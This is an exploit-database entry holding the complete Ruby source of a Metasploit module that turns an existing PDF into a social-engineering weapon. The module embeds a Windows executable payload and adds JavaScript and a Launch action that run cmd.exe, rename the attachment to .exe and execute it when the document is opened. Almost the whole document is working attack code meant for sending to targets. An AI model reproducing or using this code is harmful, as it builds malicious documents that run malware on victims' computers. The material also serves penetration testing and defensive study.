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Adobe PDF Embedded EXE Social Engineering

🗓️ 26 Nov 2009 00:00:00Reported by Colin AmesType 
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Adobe PDF Embedded EXE Social Engineering module embedding Metasploit payload into a PDF file for social engineering attack

Code
`require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::PDF_Parse  
include Msf::Exploit::FILEFORMAT  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe PDF Embedded EXE Social Engineering',  
'Description' => %q{  
This module embeds a Metasploit payload into an existing PDF file. The  
resulting PDF can be sent to a target as part of a social engineering attack.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Colin Ames <amesc[at]attackresearch.com>' ],  
'Payload' =>   
{  
'Space' => 2048,  
'DisableNops' => true,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('INFILENAME', [ false, 'The Input PDF filename.', 'msf.pdf']),  
OptString.new('EXENAME', [ false, 'The Name of payload exe.', '']),  
OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),  
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']),  
], self.class)  
end  
  
def exploit  
  
file_name = datastore['INFILENAME']  
exe_name = datastore['EXENAME']  
  
print_status("Reading in '#{file_name}'...")  
stream = read_pdf()  
print_status("Parsing '#{file_name}'...")  
pdf_objects = parse_pdf(stream)  
print_status("Parsing Successful.")  
xref_trailers = pdf_objects[0]  
trailers = pdf_objects[1]  
startxrefs = pdf_objects[2]  
root_obj = pdf_objects[3]  
  
  
output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create(output)  
end  
  
  
def ef_payload(pdf_name,payload_exe,obj_num)  
  
if payload_exe.empty?  
print_status("Using '#{datastore['PAYLOAD']}' as payload...")  
  
payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)  
file_size = payload_exe.length  
stream = Rex::Text.zlib_deflate(payload_exe)  
md5 = Rex::Text.md5(stream)  
  
else  
print_status("Using '#{datastore['EXENAME']}' as payload...")  
  
file_size = File.size(payload_exe)  
stream = Rex::Text.zlib_deflate(IO.read(payload_exe))  
md5 = Rex::Text.md5(File.read(payload_exe))  
  
end  
  
output = String.new()  
  
output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"  
output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"  
  
  
return output  
end  
  
def js_payload(pdf_name,obj_num)  
  
output = String.new()  
output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"  
output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C (if exist \"%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\My Documents\"))&(if exist \"%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\Desktop\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%& cd \"My Documents\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%&cd Desktop))&&(ren #{pdf_name}.pdf #{pdf_name}.exe&start #{pdf_name}.exe))>>>>\rendobj\r"  
  
return output  
  
end  
  
  
def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)  
  
file_name = file_name.split(/\//).pop.to_s  
  
match = file_name.match(/(.+)\.pdf/)  
if match  
pdf_name = match[1]  
end  
  
catalog = parse_object(xref_trailers,root_obj,stream)  
  
  
match = catalog.match(/Names (\d+ \d) R/m)  
if match  
  
names = parse_object(xref_trailers,match[1],stream)  
match = names.match(/EmbeddedFiles (\d+ \d) R/m)  
if match  
embedded_files = parse_object(xref_trailers,match[1],stream)  
new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')  
else  
new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')  
end  
  
else  
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")  
end  
  
if catalog.match(/OpenAction/m)  
  
match = catalog.match(/OpenAction (\d+ \d) R/m)  
if match  
open_action = "#{match[1]} R"  
  
if new_catalog  
if new_embedded_files  
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  
elsif new_names  
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  
else  
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  
end  
else  
if new_embedded_files  
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  
elsif new_names  
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  
else  
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  
end  
  
end  
else  
if new_catalog  
new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  
else  
new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  
end  
end  
else   
if new_catalog  
if new_embedded_files  
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  
elsif new_names  
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  
else  
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  
end  
  
else  
if new_embedded_files  
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  
elsif new_names  
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  
else  
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  
end  
end  
end  
  
  
  
pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]  
pages = parse_object(xref_trailers,pages_obj,stream)  
  
page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]  
page = parse_object(xref_trailers,page_obj,stream)  
  
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)  
while match  
  
page_obj = match[1]  
page = parse_object(xref_trailers,page_obj,stream)  
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)  
end  
  
match = page.match(/AA<<\/O (\d+ \d) R/m)  
if match  
aa = parse_object(xref_trailers,match[1],stream)  
end  
  
  
new_pdf = String.new()  
xrefs = String.new()  
  
  
if new_embedded_files  
pdf_payload = String.new()  
num = trailers[0].fetch("Size").to_i - 1  
pdf_payload << ef_payload(pdf_name,exe_name,num)  
pdf_payload << js_payload(pdf_name,num)  
new_pdf << stream << pdf_payload   
  
xrefs = xref_create(new_pdf,stream.length,"*")  
  
new_size = trailers[0].fetch("Size").to_i + 4  
  
if aa  
new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')  
else  
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')  
end  
  
new_pdf << new_catalog  
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")   
  
new_pdf << new_page  
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")   
  
new_pdf << new_embedded_files  
xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")  
  
if trailers[0].has_key?("ID")  
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"  
else  
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"  
end  
  
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"  
  
elsif new_names  
pdf_payload = String.new()  
num = trailers[0].fetch("Size").to_i  
pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"  
pdf_payload << ef_payload(pdf_name,exe_name,num)  
pdf_payload << js_payload(pdf_name,num)  
new_pdf << stream << pdf_payload   
  
xrefs = xref_create(new_pdf,stream.length,"*")  
  
new_size = trailers[0].fetch("Size").to_i + 5  
  
if aa  
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')  
else  
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')  
end  
  
new_pdf << new_catalog  
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")   
  
new_pdf << new_page  
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")   
  
new_pdf << new_names  
xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")   
  
if trailers[0].has_key?("ID")  
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"  
else  
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"  
end  
  
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"  
  
  
else  
pdf_payload = String.new()  
num = trailers[0].fetch("Size").to_i + 1  
pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"  
pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"  
pdf_payload << ef_payload(pdf_name,exe_name,num)  
pdf_payload << js_payload(pdf_name,num)  
new_pdf << stream << pdf_payload   
xrefs = xref_create(new_pdf,stream.length,"*")  
  
new_size = trailers[0].fetch("Size").to_i + 6  
  
if aa  
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')  
else  
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')  
end  
  
new_pdf << new_catalog  
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")   
  
new_pdf << new_page  
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")   
  
if trailers[0].has_key?("ID")  
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"  
else  
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"  
end  
  
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"  
  
  
end  
  
  
return new_pdf  
end  
end   
  
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